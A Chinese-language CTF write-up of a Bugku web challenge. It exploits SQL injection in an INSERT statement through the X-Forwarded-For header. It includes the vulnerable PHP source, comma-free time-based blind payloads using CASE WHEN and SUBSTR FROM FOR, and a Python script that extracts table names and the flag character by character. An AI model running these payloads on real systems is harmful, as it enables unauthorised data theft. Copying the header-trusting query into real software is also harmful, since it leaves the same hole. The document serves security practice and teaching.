bugku web題INSERT INTO注入

0x01:

　　打開題目描述，已經將源碼給了我們：

<?php
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

 

 　　明確注入點，是走的http報頭的x-forwarded-for。

　　我嘗試了bool型注入，發現自己構造的語句在自己數據庫中會報錯，但是這里並沒有錯誤報告，因此考慮基於時間的盲注

 

0x02:

　　我之前時間延遲盲注都是用 if(exp1,exp2,epx3) 這種格式來完成的，但是這里的一段代碼，相當於把 "," 給過濾了

　　$ip_arr = explode(',', $ip);
　　return $ip_arr[0];

 　　於是改變方法，用 case when exp1 then sleep(4) else 1 end 來繞過 ","的限制

　　exp1 中要用到substr來進行剪切，這個函數substr(str,1,1) 又是存在 "," , 於是這里我又用 substr (str) from 1 for 1 來繞過 ","的限制

　　又拼接的語句為value(' 輸入的內容 ')，最后的poc為：

　　1' and (case when (length((select database())) = 14) then sleep(4) else 1 end) #

　　1' and (case when (substr(select database())  from 1 for 1)='c' then sleep(4) else 1 end) # 

　　構成的完整語句為

insert into client_ip (ip) values ('  1' and (case when (length((select database())) = 14) then sleep(4) else 1 end) #  ')

0x03:

　　最后附上python腳本：

#-*- encoding: utf-8 -*-
#字符長度直接手工測的
import requests
url="http://120.24.86.145:8002/web15/"
flag=""

#data = 11'  and (case when (length((select group_concat(table_name) from information_schema.tables where table_name=database()))=14) then sleep(4) else 1 end)) #
#爆表名 長度為14
#data = "11'and (case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
#client_ip,flag

#data = 11'  and (case when (length((select group_concat(column_name) from information_schema.columns where table_name='flag'))=4) then sleep(4) else 1 end)) #
#爆字段 長度為4
#data = "11' and (case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
#flag

#data = 11'  and (case when (length((select group_concat(flag) from flag))=32) then sleep(4) else 1 end)) #
#爆內容 長度為32
#data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"

for i in range(1,33):
    for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*.":
        data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
        # print data
        headers = {"x-forwarded-for":data}
        try:
            result = requests.get(url,headers=headers,timeout=3)
        except requests.exceptions.ReadTimeout, e:
            flag += str1
            print flag
            break
print 'flag:' + flag

 

 不同階段把上面注釋掉的data的賦值代碼貼入下面即可，爆長度可以直接在BurpSuite里面發包手測

 

ps：在注表名的時候 ","因為是被過濾了的，所以腳本跑出來兩個表之間的“,”是被過濾了，但是看單詞也能把它區分開。